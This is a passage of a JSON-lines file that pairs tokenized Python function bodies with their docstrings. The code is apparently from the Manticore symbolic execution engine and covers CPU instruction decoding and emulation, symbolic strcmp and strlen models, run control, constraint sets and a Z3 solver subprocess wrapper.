pc)<EOL><DEDENT>except StopIteration as e:<EOL><INDENT>raise DecodeException(pc, code)<EOL><DEDENT>if not self.memory.access_ok(slice(pc, pc + insn.size), '<STR_LIT:x>'):<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>raise InvalidMemoryAccess(pc, '<STR_LIT:x>')<EOL><DEDENT>insn.operands = self._wrap_operands(insn.operands)<EOL>self._instruction_cache[pc] = insn<EOL>return insn<EOL>", "docstring": "This will decode an instruction from memory pointed by `pc`\n\n:param int pc: address of the instruction", "id": "f16980:c13:m25"}
{"signature": "def canonicalize_instruction_name(self, instruction):", "body": "raise NotImplemented<EOL>", "docstring": "Get the semantic name of an instruction.", "id": "f16980:c13:m27"}
{"signature": "def execute(self):", "body": "if issymbolic(self.PC):<EOL><INDENT>raise ConcretizeRegister(self, '<STR_LIT>', policy='<STR_LIT>')<EOL><DEDENT>if not self.memory.access_ok(self.PC, '<STR_LIT:x>'):<EOL><INDENT>raise InvalidMemoryAccess(self.PC, '<STR_LIT:x>')<EOL><DEDENT>self._publish('<STR_LIT>', self.PC)<EOL>insn = self.decode_instruction(self.PC)<EOL>self._last_pc = self.PC<EOL>self._publish('<STR_LIT>', self.PC, insn)<EOL>if insn.address != self.PC:<EOL><INDENT>return<EOL><DEDENT>name = self.canonicalize_instruction_name(insn)<EOL>if logger.level == logging.DEBUG:<EOL><INDENT>logger.debug(self.render_instruction(insn))<EOL>for l in self.render_registers():<EOL><INDENT>register_logger.debug(l)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if self._concrete and '<STR_LIT>' in name:<EOL><INDENT>self.emu.sync_unicorn_to_manticore()<EOL><DEDENT>if self._concrete and '<STR_LIT>' not in name:<EOL><INDENT>self.emulate(insn)<EOL>if self.PC == self._break_unicorn_at:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._break_unicorn_at = None<EOL>self._concrete = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>implementation = getattr(self, name, None)<EOL>if implementation is not None:<EOL><INDENT>implementation(*insn.operands)<EOL><DEDENT>else:<EOL><INDENT>text_bytes = '<STR_LIT:U+0020>'.join('<STR_LIT>' % x for x in insn.bytes)<EOL>logger.warning(\"<STR_LIT>\",<EOL>insn.address, text_bytes, insn.mnemonic, insn.op_str)<EOL>self.backup_emulate(insn)<EOL><DEDENT><DEDENT><DEDENT>except (Interruption, Syscall) as e:<EOL><INDENT>e.on_handled = lambda: self._publish_instruction_as_executed(insn)<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>self._publish_instruction_as_executed(insn)<EOL><DEDENT>", "docstring": "Decode, and execute one instruction pointed by register PC", "id": "f16980:c13:m28"}
{"signature": "def _publish_instruction_as_executed(self, insn):", "body": "self._icount += <NUM_LIT:1><EOL>self._publish('<STR_LIT>', self._last_pc, self.PC, insn)<EOL>", "docstring": "Notify listeners that an instruction has been executed.", "id": "f16980:c13:m29"}
{"signature": "def emulate(self, insn):", "body": "if self._concrete:<EOL><INDENT>self.concrete_emulate(insn)<EOL><DEDENT>else:<EOL><INDENT>self.backup_emulate(insn)<EOL><DEDENT>", "docstring": "Pick the right emulate function (maintains API compatiblity)\n\n:param insn: single instruction to emulate/start emulation from", "id": "f16980:c13:m30"}
{"signature": "def concrete_emulate(self, insn):", "body": "if not self.emu:<EOL><INDENT>self.emu = ConcreteUnicornEmulator(self)<EOL>self.emu._stop_at = self._break_unicorn_at<EOL><DEDENT>try:<EOL><INDENT>self.emu.emulate(insn)<EOL><DEDENT>except unicorn.UcError as e:<EOL><INDENT>if e.errno == unicorn.UC_ERR_INSN_INVALID:<EOL><INDENT>text_bytes = '<STR_LIT:U+0020>'.join('<STR_LIT>' % x for x in insn.bytes)<EOL>logger.error(\"<STR_LIT>\",<EOL>insn.address, text_bytes, insn.mnemonic, insn.op_str)<EOL><DEDENT>raise InstructionEmulationError(str(e))<EOL><DEDENT>", "docstring": "Start executing in Unicorn from this point until we hit a syscall or reach break_unicorn_at\n\n:param capstone.CsInsn insn: The instruction object to emulate", "id": "f16980:c13:m31"}
{"signature": "def backup_emulate(self, insn):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.backup_emu = UnicornEmulator(self)<EOL><DEDENT>try:<EOL><INDENT>self.backup_emu.emulate(insn)<EOL><DEDENT>except unicorn.UcError as e:<EOL><INDENT>if e.errno == unicorn.UC_ERR_INSN_INVALID:<EOL><INDENT>text_bytes = '<STR_LIT:U+0020>'.join('<STR_LIT>' % x for x in insn.bytes)<EOL>logger.error(\"<STR_LIT>\",<EOL>insn.address, text_bytes, insn.mnemonic, insn.op_str)<EOL><DEDENT>raise InstructionEmulationError(str(e))<EOL><DEDENT>finally:<EOL><INDENT>del self.backup_emu<EOL><DEDENT>", "docstring": "If we could not handle emulating an instruction, use Unicorn to emulate\nit.\n\n:param capstone.CsInsn instruction: The instruction object to emulate", "id": "f16980:c13:m32"}
{"signature": "def __str__(self):", "body": "result = f'<STR_LIT>'<EOL>result += '<STR_LIT:\\n>'.join(self.render_registers())<EOL>return result<EOL>", "docstring": "Returns a string representation of cpu state\n\n:rtype: str\n:return: name and current value for all the registers.", "id": "f16980:c13:m36"}
{"signature": "@abstractmethod<EOL><INDENT>def disassemble_instruction(self, code, pc):<DEDENT>", "body": "", "docstring": "Get next instruction based on the disassembler in use\n\n        :param str code: binary blob to be disassembled\n        :param long pc: program counter", "id": "f16981:c1:m1"}
{"signature": "def disassemble_instruction(self, code, pc):", "body": "return next(self.disasm.disasm(code, pc))<EOL>", "docstring": "Get next instruction using the Capstone disassembler\n\n        :param str code: binary blob to be disassembled\n        :param long pc: program counter", "id": "f16981:c2:m1"}
{"signature": "def invoke_model(self, model):", "body": "self._platform.invoke_model(model, prefix_args=(self,))<EOL>", "docstring": "Invokes a `model`. Modelling can be used to override a function in the target program with a custom\nimplementation.\n\nFor more information on modelling see docs/models.rst\n\nA `model` is a callable whose first argument is a `manticore.native.State` instance.\nIf the following arguments correspond to the arguments of the C function\nbeing modeled. If the `model` models a variadic function, the following argument\nis a generator object, which can be used to access function arguments dynamically.\nThe `model` callable should simply return the value that should be returned by the\nnative function being modeled.f\n\n:param model: callable, model to invoke", "id": "f16982:c0:m3"}
{"signature": "def isvariadic(model):", "body": "return getattr(model, VARIADIC_FUNC_ATTR, False)<EOL>", "docstring": ":param callable model: Function model\n:return: Whether `model` models a variadic function\n:rtype: bool", "id": "f16983:m0"}
{"signature": "def variadic(func):", "body": "setattr(func, VARIADIC_FUNC_ATTR, True)<EOL>return func<EOL>", "docstring": "A decorator used to mark a function model as variadic. This function should\ntake two parameters: a :class:`~manticore.native.state.State` object, and\na generator object for the arguments.\n\n:param callable func: Function model", "id": "f16983:m1"}
{"signature": "def _find_zero(cpu, constrs, ptr):", "body": "offset = <NUM_LIT:0><EOL>while True:<EOL><INDENT>byt = cpu.read_int(ptr + offset, <NUM_LIT:8>)<EOL>if issymbolic(byt):<EOL><INDENT>if not solver.can_be_true(constrs, byt != <NUM_LIT:0>):<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if byt == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>offset += <NUM_LIT:1><EOL><DEDENT>return offset<EOL>", "docstring": "Helper for finding the closest NULL or, effectively NULL byte from a starting address.\n\n:param Cpu cpu:\n:param ConstraintSet constrs: Constraints for current `State`\n:param int ptr: Address to start searching for a zero from\n:return: Offset from `ptr` to first byte that is 0 or an `Expression` that must be zero", "id": "f16983:m2"}
{"signature": "def strcmp(state, s1, s2):", "body": "cpu = state.cpu<EOL>if issymbolic(s1):<EOL><INDENT>raise ConcretizeArgument(state.cpu, <NUM_LIT:1>)<EOL><DEDENT>if issymbolic(s2):<EOL><INDENT>raise ConcretizeArgument(state.cpu, <NUM_LIT:2>)<EOL><DEDENT>s1_zero_idx = _find_zero(cpu, state.constraints, s1)<EOL>s2_zero_idx = _find_zero(cpu, state.constraints, s2)<EOL>min_zero_idx = min(s1_zero_idx, s2_zero_idx)<EOL>ret = None<EOL>for offset in range(min_zero_idx, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>s1char = ZEXTEND(cpu.read_int(s1 + offset, <NUM_LIT:8>), cpu.address_bit_size)<EOL>s2char = ZEXTEND(cpu.read_int(s2 + offset, <NUM_LIT:8>), cpu.address_bit_size)<EOL>if issymbolic(s1char) or issymbolic(s2char):<EOL><INDENT>if ret is None or (not issymbolic(ret) and ret == <NUM_LIT:0>):<EOL><INDENT>ret = s1char - s2char<EOL><DEDENT>else:<EOL><INDENT>ret = ITEBV(cpu.address_bit_size, s1char != s2char, s1char - s2char, ret)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if s1char != s2char:<EOL><INDENT>ret = s1char - s2char<EOL><DEDENT>elif ret is None:<EOL><INDENT>ret = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "strcmp symbolic model.\n\nAlgorithm: Walks from end of string (minimum offset to NULL in either string)\nto beginning building tree of ITEs each time either of the\nbytes at current offset is symbolic.\n\nPoints of Interest:\n- We've been building up a symbolic tree but then encounter two\n  concrete bytes that differ. We can throw away the entire symbolic\n  tree!\n- If we've been encountering concrete bytes that match\n  at the end of the string as we walk forward, and then we encounter\n  a pair where one is symbolic, we can forget about that 0 `ret` we've\n  been tracking and just replace it with the symbolic subtraction of\n  the two\n\n:param State state: Current program state\n:param int s1: Address of string 1\n:param int s2: Address of string 2\n:return: Symbolic strcmp result\n:rtype: Expression or int", "id": "f16983:m3"}
{"signature": "def strlen(state, s):", "body": "cpu = state.cpu<EOL>if issymbolic(s):<EOL><INDENT>raise ConcretizeArgument(state.cpu, <NUM_LIT:1>)<EOL><DEDENT>zero_idx = _find_zero(cpu, state.constraints, s)<EOL>ret = zero_idx<EOL>for offset in range(zero_idx - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>byt = cpu.read_int(s + offset, <NUM_LIT:8>)<EOL>if issymbolic(byt):<EOL><INDENT>ret = ITEBV(cpu.address_bit_size, byt == <NUM_LIT:0>, offset, ret)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "strlen symbolic model.\n\nAlgorithm: Walks from end of string not including NULL building ITE tree when current byte is symbolic.\n\n:param State state: current program state\n:param int s: Address of string\n:return: Symbolic strlen result\n:rtype: Expression or int", "id": "f16983:m4"}
{"signature": "def __init__(self, initial_state, workspace_url=None, policy='<STR_LIT>', **kwargs):", "body": "super().__init__()<EOL>if isinstance(workspace_url, str):<EOL><INDENT>if '<STR_LIT::>' not in workspace_url:<EOL><INDENT>ws_path = f'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>ws_path = workspace_url<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if workspace_url is not None:<EOL><INDENT>raise TypeError(f'<STR_LIT>')<EOL><DEDENT>ws_path = None<EOL><DEDENT>self._output = ManticoreOutput(ws_path)<EOL>self._context = {}<EOL>self._last_run_stats = {}<EOL>self._hooks = {}<EOL>self._executor = Executor(store=self._output.store, policy=policy)<EOL>self._workers = []<EOL>self.plugins = set()<EOL>self.forward_events_from(self._executor)<EOL>if not isinstance(initial_state, StateBase):<EOL><INDENT>raise TypeError(f'<STR_LIT>')<EOL><DEDENT>self._initial_state = initial_state<EOL>self._executor.forward_events_from(self._initial_state, True)<EOL>self._assertions = {}<EOL>self._coverage_file = None<EOL>self.trace = None<EOL>self.subscribe('<STR_LIT>', self._did_finish_run_callback)<EOL>self.subscribe('<STR_LIT>', self._publish_generate_testcase)<EOL>", "docstring": ":param initial_state: State to start from.\n:param workspace_url: workspace folder name\n:param policy: scheduling policy\n:param kwargs: other kwargs, e.g.", "id": "f16984:c0:m0"}
{"signature": "@property<EOL><INDENT>def context(self):<DEDENT>", "body": "if self._context is not None:<EOL><INDENT>return self._context<EOL><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return self._executor._shared_context<EOL><DEDENT>", "docstring": "Convenient access to shared context", "id": "f16984:c0:m7"}
{"signature": "@contextmanager<EOL><INDENT>def locked_context(self, key=None, value_type=list):<DEDENT>", "body": "@contextmanager<EOL>def _real_context():<EOL><INDENT>if self._context is not None:<EOL><INDENT>yield self._context<EOL><DEDENT>else:<EOL><INDENT>with self._executor.locked_context() as context:<EOL><INDENT>yield context<EOL><DEDENT><DEDENT><DEDENT>with _real_context() as context:<EOL><INDENT>if key is None:<EOL><INDENT>yield context<EOL><DEDENT>else:<EOL><INDENT>assert value_type in (list, dict, set)<EOL>ctx = context.get(key, value_type())<EOL>yield ctx<EOL>context[key] = ctx<EOL><DEDENT><DEDENT>", "docstring": "A context manager that provides safe parallel access to the global Manticore context.\nThis should be used to access the global Manticore context\nwhen parallel analysis is activated. Code within the `with` block is executed\natomically, so access of shared variables should occur within.\n\nExample use::\n\n    with m.locked_context() as context:\n        visited = context['visited']\n        visited.append(state.cpu.PC)\n        context['visited'] = visited\n\nOptionally, parameters can specify a key and type for the object paired to this key.::\n\n    with m.locked_context('feature_list', list) as feature_list:\n        feature_list.append(1)\n\n:param object key: Storage key\n:param value_type: type of value associated with key\n:type value_type: list or dict or set", "id": "f16984:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def verbosity(level):<DEDENT>", "body": "log.set_verbosity(level)<EOL>logger.info(f'<STR_LIT>')<EOL>", "docstring": "Convenience interface for setting logging verbosity to one of\n        several predefined logging presets. Valid values: 0-5.", "id": "f16984:c0:m10"}
{"signature": "def enqueue(self, state):", "body": "assert not self.running, \"<STR_LIT>\"<EOL>self._executor.enqueue(state)<EOL>", "docstring": "Dynamically enqueue states. Users should typically not need to do this", "id": "f16984:c0:m12"}
{"signature": "def get_profiling_stats(self):", "body": "profile_file_path = os.path.join(self.workspace, '<STR_LIT>')<EOL>try:<EOL><INDENT>return pstats.Stats(profile_file_path)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(f'<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "Returns a pstat.Stats instance with profiling results if `run` was called with `should_profile=True`.\nOtherwise, returns `None`.", "id": "f16984:c0:m20"}
{"signature": "def run(self, procs=<NUM_LIT:1>, timeout=None, should_profile=False):", "body": "assert not self.running, \"<STR_LIT>\"<EOL>self._start_run()<EOL>self._last_run_stats['<STR_LIT>'] = time.time()<EOL>with self.shutdown_timeout(timeout):<EOL><INDENT>self._start_workers(procs, profiling=should_profile)<EOL>self._join_workers()<EOL><DEDENT>self._finish_run(profiling=should_profile)<EOL>", "docstring": "Runs analysis.\n\n:param int procs: Number of parallel worker processes\n:param timeout: Analysis timeout, in seconds", "id": "f16984:c0:m23"}
{"signature": "def terminate(self):", "body": "self._executor.shutdown()<EOL>", "docstring": "Gracefully terminate the currently-executing run. Typically called from within\na :func:`~hook`.", "id": "f16984:c0:m24"}
{"signature": "def shutdown(self):", "body": "self._executor.shutdown()<EOL>", "docstring": "Gracefully terminate the currently-executing run. Typically called from within\na :func:`~hook`.", "id": "f16984:c0:m25"}
{"signature": "def is_shutdown(self):", "body": "return self._executor.is_shutdown()<EOL>", "docstring": "Returns True if shutdown was requested", "id": "f16984:c0:m26"}
{"signature": "def add(self, constraint, check=False):", "body": "if isinstance(constraint, bool):<EOL><INDENT>constraint = BoolConstant(constraint)<EOL><DEDENT>assert isinstance(constraint, Bool)<EOL>constraint = simplify(constraint)<EOL>if self._child is not None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if isinstance(constraint, BoolConstant):<EOL><INDENT>if not constraint.value:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self._constraints = [constraint]<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>self._constraints.append(constraint)<EOL>if check:<EOL><INDENT>from ...core.smtlib import solver<EOL>if not solver.check(self):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Add a constraint to the set\n\n:param constraint: The constraint to add to the set.\n:param check: Currently unused.\n:return:", "id": "f16985:c0:m5"}
{"signature": "def _get_sid(self):", "body": "assert self._child is None<EOL>self._sid += <NUM_LIT:1><EOL>return self._sid<EOL>", "docstring": "Returns a unique id.", "id": "f16985:c0:m6"}
{"signature": "def _declare(self, var):", "body": "if var.name in self._declarations:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._declarations[var.name] = var<EOL>return var<EOL>", "docstring": "Declare the variable `var`", "id": "f16985:c0:m9"}
{"signature": "def get_declared_variables(self):", "body": "return self._declarations.values()<EOL>", "docstring": "Returns the variable expressions of this constraint set", "id": "f16985:c0:m10"}
{"signature": "def get_variable(self, name):", "body": "return self._declarations.get(name)<EOL>", "docstring": "Returns the variable declared under name or None if it does not exists", "id": "f16985:c0:m11"}
{"signature": "@property<EOL><INDENT>def declarations(self):<DEDENT>", "body": "declarations = GetDeclarations()<EOL>for a in self.constraints:<EOL><INDENT>try:<EOL><INDENT>declarations.visit(a)<EOL><DEDENT>except RuntimeError:<EOL><INDENT>if sys.getrecursionlimit() >= PickleSerializer.MAX_RECURSION:<EOL><INDENT>raise Exception(f'<STR_LIT>')<EOL><DEDENT>new_limit = sys.getrecursionlimit() + PickleSerializer.DEFAULT_RECURSION<EOL>if new_limit <= PickleSerializer.DEFAULT_RECURSION:<EOL><INDENT>sys.setrecursionlimit(new_limit)<EOL>return self.declarations<EOL><DEDENT><DEDENT><DEDENT>return declarations.result<EOL>", "docstring": "Returns the variable expressions of this constraint set", "id": "f16985:c0:m12"}
{"signature": "@property<EOL><INDENT>def constraints(self):<DEDENT>", "body": "if self._parent is not None:<EOL><INDENT>return tuple(self._constraints) + self._parent.constraints<EOL><DEDENT>return tuple(self._constraints)<EOL>", "docstring": ":rtype tuple\n:return: All constraints represented by this and parent sets.", "id": "f16985:c0:m13"}
{"signature": "def __str__(self):", "body": "return self.to_string()<EOL>", "docstring": "Returns a smtlib representation of the current state", "id": "f16985:c0:m15"}
{"signature": "def _make_unique_name(self, name='<STR_LIT>'):", "body": "<EOL>while name in self._declarations:<EOL><INDENT>name = f'<STR_LIT>'<EOL><DEDENT>return name<EOL>", "docstring": "Makes a unique variable name", "id": "f16985:c0:m16"}
{"signature": "def is_declared(self, expression_var):", "body": "if not isinstance(expression_var, Variable):<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>return any(expression_var is x for x in self.get_declared_variables())<EOL>", "docstring": "True if expression_var is declared in this constraint set", "id": "f16985:c0:m17"}
{"signature": "def migrate(self, expression, name_migration_map=None):", "body": "if name_migration_map is None:<EOL><INDENT>name_migration_map = {}<EOL><DEDENT>object_migration_map = {}<EOL>foreign_vars = itertools.filterfalse(self.is_declared, get_variables(expression))<EOL>for foreign_var in foreign_vars:<EOL><INDENT>if foreign_var.name in name_migration_map:<EOL><INDENT>migrated_name = name_migration_map[foreign_var.name]<EOL>native_var = self.get_variable(migrated_name)<EOL>assert native_var is not None, \"<STR_LIT>\"<EOL>object_migration_map[foreign_var] = native_var<EOL><DEDENT>else:<EOL><INDENT>migrated_name = foreign_var.name<EOL>if migrated_name in self._declarations:<EOL><INDENT>migrated_name = self._make_unique_name(f'<STR_LIT>')<EOL><DEDENT>if isinstance(foreign_var, Bool):<EOL><INDENT>new_var = self.new_bool(name=migrated_name)<EOL><DEDENT>elif isinstance(foreign_var, BitVec):<EOL><INDENT>new_var = self.new_bitvec(foreign_var.size, name=migrated_name)<EOL><DEDENT>elif isinstance(foreign_var, Array):<EOL><INDENT>new_var = self.new_array(index_max=foreign_var.index_max, index_bits=foreign_var.index_bits, value_bits=foreign_var.value_bits, name=migrated_name).array<EOL><DEDENT>else:<EOL><INDENT>raise NotImplemented(f\"<STR_LIT>\")<EOL><DEDENT>object_migration_map[foreign_var] = new_var<EOL>name_migration_map[foreign_var.name] = new_var.name<EOL><DEDENT><DEDENT>migrated_expression = replace(expression, object_migration_map)<EOL>return migrated_expression<EOL>", "docstring": "Migrate an expression created for a different constraint set to self.\n            Returns an expression that can be used with this constraintSet\n\n            All the foreign variables used in the expression are replaced by\n            variables of this constraint set. If the variable was replaced before\n            the replacement is taken from the provided migration map.\n\n            The migration mapping is updated with new replacements.\n\n            :param expression: the potentially foreign expression\n            :param name_migration_map: mapping of already migrated variables. maps from string name of foreign variable to its currently existing migrated string name. this is updated during this migration.\n            :return: a migrated expression where all the variables are local. name_migration_map is updated", "id": "f16985:c0:m18"}
{"signature": "def new_bool(self, name=None, taint=frozenset(), avoid_collisions=False):", "body": "if name is None:<EOL><INDENT>name = '<STR_LIT:B>'<EOL>avoid_collisions = True<EOL><DEDENT>if avoid_collisions:<EOL><INDENT>name = self._make_unique_name(name)<EOL><DEDENT>if not avoid_collisions and name in self._declarations:<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>var = BoolVariable(name, taint=taint)<EOL>return self._declare(var)<EOL>", "docstring": "Declares a free symbolic boolean in the constraint store\n            :param name: try to assign name to internal variable representation,\n                         if not unique, a numeric nonce will be appended\n            :param avoid_collisions: potentially avoid_collisions the variable to avoid name collisions if True\n            :return: a fresh BoolVariable", "id": "f16985:c0:m19"}
{"signature": "def new_bitvec(self, size, name=None, taint=frozenset(), avoid_collisions=False):", "body": "if not (size == <NUM_LIT:1> or size % <NUM_LIT:8> == <NUM_LIT:0>):<EOL><INDENT>raise Exception(f'<STR_LIT>')<EOL><DEDENT>if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>if avoid_collisions:<EOL><INDENT>name = self._make_unique_name(name)<EOL><DEDENT>if not avoid_collisions and name in self._declarations:<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>var = BitVecVariable(size, name, taint=taint)<EOL>return self._declare(var)<EOL>", "docstring": "Declares a free symbolic bitvector in the constraint store\n            :param size: size in bits for the bitvector\n            :param name: try to assign name to internal variable representation,\n                         if not unique, a numeric nonce will be appended\n            :param avoid_collisions: potentially avoid_collisions the variable to avoid name collisions if True\n            :return: a fresh BitVecVariable", "id": "f16985:c0:m20"}
{"signature": "def new_array(self, index_bits=<NUM_LIT:32>, name=None, index_max=None, value_bits=<NUM_LIT:8>, taint=frozenset(), avoid_collisions=False, default=None):", "body": "if name is None:<EOL><INDENT>name = '<STR_LIT:A>'<EOL>avoid_collisions = True<EOL><DEDENT>if avoid_collisions:<EOL><INDENT>name = self._make_unique_name(name)<EOL><DEDENT>if not avoid_collisions and name in self._declarations:<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>var = self._declare(ArrayVariable(index_bits, index_max, value_bits, name, taint=taint))<EOL>return ArrayProxy(var, default=default)<EOL>", "docstring": "Declares a free symbolic array of value_bits long bitvectors in the constraint store.\n            :param index_bits: size in bits for the array indexes one of [32, 64]\n            :param value_bits: size in bits for the array values\n            :param name: try to assign name to internal variable representation,\n                         if not unique, a numeric nonce will be appended\n            :param index_max: upper limit for indexes on this array (#FIXME)\n            :param avoid_collisions: potentially avoid_collisions the variable to avoid name collisions if True\n            :param default: default for not initialized values\n            :return: a fresh ArrayProxy", "id": "f16985:c0:m21"}
{"signature": "def optimize(self, constraints, X, operation, M=<NUM_LIT>):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Iteratively finds the maximum or minimal value for the operation\n(Normally Operators.UGT or Operators.ULT)\n\n:param constraints: the constraints set\n:param X: a symbol or expression\n:param M: maximum number of iterations allowed", "id": "f16986:c0:m1"}
{"signature": "def check(self, constraints) -> bool:", "body": "return self.can_be_true(constraints, True)<EOL>", "docstring": "Check if given constraints can be valid", "id": "f16986:c0:m2"}
{"signature": "def can_be_true(self, constraints, expression) -> bool:", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Check if given expression could be valid", "id": "f16986:c0:m3"}
{"signature": "def must_be_true(self, constraints, expression) -> bool:", "body": "solutions = self.get_all_values(constraints, expression, maxcnt=<NUM_LIT:2>, silent=True)<EOL>return solutions == [True]<EOL>", "docstring": "Check if expression is True and that it can not be False with current constraints", "id": "f16986:c0:m4"}
{"signature": "def get_all_values(self, constraints, x, maxcnt=<NUM_LIT>, silent=False):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Returns a list with all the possible values for the symbol x", "id": "f16986:c0:m5"}
{"signature": "def get_value(self, constraints, expression):", "body": "raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Ask the solver for one possible result of given expression using given set of constraints.", "id": "f16986:c0:m6"}
{"signature": "def max(self, constraints, X: BitVec, M=<NUM_LIT>):", "body": "assert isinstance(X, BitVec)<EOL>return self.optimize(constraints, X, '<STR_LIT>', M)<EOL>", "docstring": "Iteratively finds the maximum value for a symbol within given constraints.\n:param X: a symbol or expression\n:param M: maximum number of iterations allowed", "id": "f16986:c0:m7"}
{"signature": "def min(self, constraints, X: BitVec, M=<NUM_LIT>):", "body": "assert isinstance(X, BitVec)<EOL>return self.optimize(constraints, X, '<STR_LIT>', M)<EOL>", "docstring": "Iteratively finds the minimum value for a symbol within given constraints.\n\n:param constraints: constraints that the expression must fulfil\n:param X: a symbol or expression\n:param M: maximum number of iterations allowed", "id": "f16986:c0:m8"}
{"signature": "def minmax(self, constraints, x, iters=<NUM_LIT>):", "body": "if issymbolic(x):<EOL><INDENT>m = self.min(constraints, x, iters)<EOL>M = self.max(constraints, x, iters)<EOL>return m, M<EOL><DEDENT>else:<EOL><INDENT>return x, x<EOL><DEDENT>", "docstring": "Returns the min and max possible values for x within given constraints", "id": "f16986:c0:m9"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self._proc: Popen = None<EOL>self._command = f'<STR_LIT>'<EOL>self._init = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>self._get_value_fmt = (RE_GET_EXPR_VALUE_FMT, <NUM_LIT:16>)<EOL>self.debug = False<EOL>self._received_version = None<EOL>self.version = self._solver_version()<EOL>self.support_maximize = False<EOL>self.support_minimize = False<EOL>self.support_reset = True<EOL>logger.debug('<STR_LIT>', self.version)<EOL>if self.version >= Version(<NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:0>):<EOL><INDENT>self.support_maximize = False<EOL>self.support_minimize = False<EOL>self.support_reset = False<EOL><DEDENT>elif self.version >= Version(<NUM_LIT:4>, <NUM_LIT:4>, <NUM_LIT:1>):<EOL><INDENT>self.support_maximize = True<EOL>self.support_minimize = True<EOL>self.support_reset = False<EOL><DEDENT>else:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL><DEDENT>", "docstring": "Build a Z3 solver instance.\nThis is implemented using an external z3 solver (via a subprocess).\nSee https://github.com/Z3Prover/z3", "id": "f16986:c1:m0"}
{"signature": "def _solver_version(self) -> Version:", "body": "self._reset()<EOL>if self._received_version is None:<EOL><INDENT>self._send('<STR_LIT>')<EOL>self._received_version = self._recv()<EOL><DEDENT>key, version = shlex.split(self._received_version[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>return Version(*map(int, version.split('<STR_LIT:.>')))<EOL>", "docstring": "If we fail to parse the version, we assume z3's output has changed, meaning it's a newer\nversion than what's used now, and therefore ok.\n\nAnticipated version_cmd_output format: 'Z3 version 4.4.2'\n                                       'Z3 version 4.4.5 - 64 bit - build hashcode $Z3GITHASH'", "id": "f16986:c1:m1"}
{"signature": "def _start_proc(self):", "body": "assert '<STR_LIT>' not in dir(self) or self._proc is None<EOL>try:<EOL><INDENT>self._proc = Popen(shlex.split(self._command), stdin=PIPE, stdout=PIPE, bufsize=<NUM_LIT:0>, universal_newlines=True)<EOL><DEDENT>except OSError as e:<EOL><INDENT>print(e, \"<STR_LIT>\")<EOL>raise Z3NotFoundError  <EOL><DEDENT>for cfg in self._init:<EOL><INDENT>self._send(cfg)<EOL><DEDENT>", "docstring": "Spawns z3 solver process", "id": "f16986:c1:m2"}
{"signature": "def _stop_proc(self):", "body": "if self._proc is None:<EOL><INDENT>return<EOL><DEDENT>if self._proc.returncode is None:<EOL><INDENT>try:<EOL><INDENT>self._send(\"<STR_LIT>\")<EOL><DEDENT>except (SolverError, IOError) as e:<EOL><INDENT>logger.debug(str(e))<EOL><DEDENT>finally:<EOL><INDENT>try:<EOL><INDENT>self._proc.stdin.close()<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.debug(str(e))<EOL><DEDENT>try:<EOL><INDENT>self._proc.stdout.close()<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.debug(str(e))<EOL><DEDENT>self._proc.kill()<EOL>self._proc.wait()<EOL><DEDENT><DEDENT>self._proc: Popen = None<EOL>", "docstring": "Stops the z3 solver process by:\n- sending an exit command to it,\n- sending a SIGKILL signal,\n- waiting till the process terminates (so we don't leave a zombie process)", "id": "f16986:c1:m3"}
{"signature": "def _reset(self, constraints=None):", "body": "if self._proc is None:<EOL><INDENT>self._start_proc()<EOL><DEDENT>else:<EOL><INDENT>if self.support_reset:<EOL><INDENT>self._send(\"<STR_LIT>\")<EOL>for cfg in self._init:<EOL><INDENT>self._send(cfg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._stop_proc()<EOL>self._start_proc()<EOL><DEDENT><DEDENT>if constraints is not None:<EOL><INDENT>self._send(constraints)<EOL><DEDENT>", "docstring": "Auxiliary method to reset the smtlib external solver to initial defaults", "id": "f16986:c1:m7"}
